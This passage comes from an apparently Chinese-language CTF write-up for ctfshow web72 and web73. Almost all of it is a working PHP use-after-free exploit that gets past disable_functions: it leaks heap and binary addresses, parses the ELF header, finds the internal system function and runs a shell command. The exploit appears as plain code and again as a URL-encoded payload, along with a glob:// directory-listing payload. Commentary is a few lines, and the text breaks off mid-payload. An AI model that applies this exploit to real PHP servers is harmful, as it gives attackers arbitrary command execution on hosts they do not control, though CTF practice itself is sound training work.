$base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
}ctfshow("cat /flag0.txt");ob_end_flush();
?>

通過(guò)url編碼

payload

c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E

?web73

繼續(xù)用偽協(xié)議讀取

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

發(fā)現(xiàn)相比 72修改了名字

看看讀取

c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20